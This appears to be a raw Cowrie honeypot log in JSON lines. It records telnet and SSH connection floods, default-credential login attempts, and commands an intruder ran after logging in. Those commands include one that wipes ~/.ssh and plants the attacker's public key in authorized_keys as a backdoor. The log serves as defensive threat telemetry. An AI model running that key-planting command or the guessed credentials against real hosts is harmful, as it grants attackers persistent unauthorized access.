{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55888,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fe813c7fc3","protocol":"telnet","message":"New connection: 162.55.233.176:55888 (159.203.135.109:23) [session: 95fe813c7fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:04.998393Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55902,"dst_ip":"159.203.135.109","dst_port":23,"session":"6275506110dc","protocol":"telnet","message":"New connection: 162.55.233.176:55902 (159.203.135.109:23) [session: 6275506110dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:05.119773Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55906,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a447a1402a5","protocol":"telnet","message":"New connection: 162.55.233.176:55906 (159.203.135.109:23) [session: 7a447a1402a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:05.415455Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55908,"dst_ip":"159.203.135.109","dst_port":23,"session":"85da9896614f","protocol":"telnet","message":"New connection: 162.55.233.176:55908 (159.203.135.109:23) [session: 85da9896614f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:05.741367Z"}
{"eventid":"cowrie.session.closed","duration":36.180055141448975,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:05.897425Z","src_ip":"162.55.233.176","session":"f14e5b1a3e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.954021692276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:05.936414Z","src_ip":"162.55.233.176","session":"624797ef4026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5e00538bbbe","protocol":"telnet","message":"New connection: 162.55.233.176:55914 (159.203.135.109:23) [session: c5e00538bbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.214260Z"}
{"eventid":"cowrie.session.closed","duration":32.64212727546692,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.346958Z","src_ip":"162.55.233.176","session":"965698d79170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33494,"dst_ip":"10.17.0.5","dst_port":23,"session":"06be82a68f53","protocol":"telnet","message":"New connection: 188.208.141.113:33494 (10.17.0.5:23) [session: 06be82a68f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.351269Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"abae1053cdb9","protocol":"telnet","message":"New connection: 188.208.141.113:33502 (10.17.0.5:23) [session: abae1053cdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.385122Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ab38acc75a","protocol":"telnet","message":"New connection: 162.55.233.176:55924 (159.203.135.109:23) [session: 10ab38acc75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.460847Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55932,"dst_ip":"159.203.135.109","dst_port":23,"session":"7168aaf65f1d","protocol":"telnet","message":"New connection: 162.55.233.176:55932 (159.203.135.109:23) [session: 7168aaf65f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.653211Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55942,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd870ed99286","protocol":"telnet","message":"New connection: 162.55.233.176:55942 (159.203.135.109:23) [session: cd870ed99286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:06.988323Z"}
{"eventid":"cowrie.session.closed","duration":32.7440824508667,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.122077Z","src_ip":"162.55.233.176","session":"105fd8dbcd74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55892586708069,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.326188Z","src_ip":"162.55.233.176","session":"d400403b72d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.68089509010315,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.377206Z","src_ip":"162.55.233.176","session":"2106eaff73fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44979929924011,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.439507Z","src_ip":"162.55.233.176","session":"f52aba32956f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55958,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3b01852b13","protocol":"telnet","message":"New connection: 162.55.233.176:55958 (159.203.135.109:23) [session: ec3b01852b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.805249Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55962,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61dbaf3264c","protocol":"telnet","message":"New connection: 162.55.233.176:55962 (159.203.135.109:23) [session: c61dbaf3264c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:07.882623Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":51960,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d7fdbb6283","protocol":"ssh","message":"New connection: 103.170.173.26:51960 (159.203.135.109:22) [session: b4d7fdbb6283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:08.286396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:08.291584Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.99290585517883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:08.324244Z","src_ip":"162.55.233.176","session":"9b8efc376569","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:08.556941Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.749951124191284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:08.601601Z","src_ip":"162.55.233.176","session":"e70df68dc7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55970,"dst_ip":"159.203.135.109","dst_port":23,"session":"073ba6032c13","protocol":"telnet","message":"New connection: 162.55.233.176:55970 (159.203.135.109:23) [session: 073ba6032c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:09.004647Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55986,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fc7c234bc6c","protocol":"telnet","message":"New connection: 162.55.233.176:55986 (159.203.135.109:23) [session: 5fc7c234bc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:09.313381Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin.2023","message":"login attempt [admin/admin.2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:09.640054Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55992,"dst_ip":"159.203.135.109","dst_port":23,"session":"31dd266d9e56","protocol":"telnet","message":"New connection: 162.55.233.176:55992 (159.203.135.109:23) [session: 31dd266d9e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:09.673451Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33518,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8a1c81aed9","protocol":"telnet","message":"New connection: 188.208.141.113:33518 (10.17.0.5:23) [session: be8a1c81aed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.092692Z"}
{"eventid":"cowrie.session.closed","duration":39.812819480895996,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.108911Z","src_ip":"162.55.233.176","session":"f743e0d1d74d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56000,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b04fd83b733","protocol":"telnet","message":"New connection: 162.55.233.176:56000 (159.203.135.109:23) [session: 0b04fd83b733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.130192Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.213118Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.217140Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.220990Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33530,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c8bd241eb5","protocol":"telnet","message":"New connection: 188.208.141.113:33530 (10.17.0.5:23) [session: 04c8bd241eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.246492Z"}
{"eventid":"cowrie.session.closed","duration":36.189751863479614,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.329831Z","src_ip":"162.55.233.176","session":"954240d8a562","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.489234Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56010,"dst_ip":"159.203.135.109","dst_port":23,"session":"1435cbfacddb","protocol":"telnet","message":"New connection: 162.55.233.176:56010 (159.203.135.109:23) [session: 1435cbfacddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.562515Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56022,"dst_ip":"159.203.135.109","dst_port":23,"session":"e007923a7e5c","protocol":"telnet","message":"New connection: 162.55.233.176:56022 (159.203.135.109:23) [session: e007923a7e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.784055Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56036,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5b157a4310","protocol":"telnet","message":"New connection: 162.55.233.176:56036 (159.203.135.109:23) [session: fc5b157a4310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.825259Z"}
{"eventid":"cowrie.session.closed","duration":31.924302339553833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.885882Z","src_ip":"162.55.233.176","session":"d1783601bc1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56042,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0e74d58c8a","protocol":"telnet","message":"New connection: 162.55.233.176:56042 (159.203.135.109:23) [session: 4a0e74d58c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:10.978837Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.050524Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.054454Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56048,"dst_ip":"159.203.135.109","dst_port":23,"session":"b16ea772f983","protocol":"telnet","message":"New connection: 162.55.233.176:56048 (159.203.135.109:23) [session: b16ea772f983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.107821Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.323185Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.327432Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56058,"dst_ip":"159.203.135.109","dst_port":23,"session":"88b0a82a9422","protocol":"telnet","message":"New connection: 162.55.233.176:56058 (159.203.135.109:23) [session: 88b0a82a9422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.334949Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56066,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8455a087d0","protocol":"telnet","message":"New connection: 162.55.233.176:56066 (159.203.135.109:23) [session: 8a8455a087d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.419704Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56082,"dst_ip":"159.203.135.109","dst_port":23,"session":"deaf28787950","protocol":"telnet","message":"New connection: 162.55.233.176:56082 (159.203.135.109:23) [session: deaf28787950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.452439Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"b838c41621ed","protocol":"ssh","message":"New connection: 103.170.173.26:52412 (159.203.135.109:22) [session: b838c41621ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.586736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.594347Z","src_ip":"103.170.173.26","session":"b838c41621ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.22581362724304,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.649281Z","src_ip":"162.55.233.176","session":"3b91bad6f8c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29004168510437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.654485Z","src_ip":"162.55.233.176","session":"39fba4b2c7eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51327300071716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.775575Z","src_ip":"162.55.233.176","session":"557f743f21b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84398889541626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.779733Z","src_ip":"162.55.233.176","session":"3de5fa5e378d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.816704750061035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.817367Z","src_ip":"162.55.233.176","session":"ab7c601e25d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.614595413208008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.825832Z","src_ip":"162.55.233.176","session":"79884abf9362","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:11.857350Z","src_ip":"103.170.173.26","session":"b838c41621ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56096,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec30994c4f34","protocol":"telnet","message":"New connection: 162.55.233.176:56096 (159.203.135.109:23) [session: ec30994c4f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:12.224375Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56112,"dst_ip":"159.203.135.109","dst_port":23,"session":"40c48816cb22","protocol":"telnet","message":"New connection: 162.55.233.176:56112 (159.203.135.109:23) [session: 40c48816cb22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:12.384140Z"}
{"eventid":"cowrie.session.closed","duration":34.760746479034424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:12.757642Z","src_ip":"162.55.233.176","session":"17cb0197337a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0586154460907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:12.870317Z","src_ip":"162.55.233.176","session":"7d160ec13932","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:12.939857Z","src_ip":"103.170.173.26","session":"b838c41621ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36156,"dst_ip":"159.203.135.109","dst_port":23,"session":"d843ec0647dc","protocol":"telnet","message":"New connection: 162.55.233.176:36156 (159.203.135.109:23) [session: d843ec0647dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:13.033612Z"}
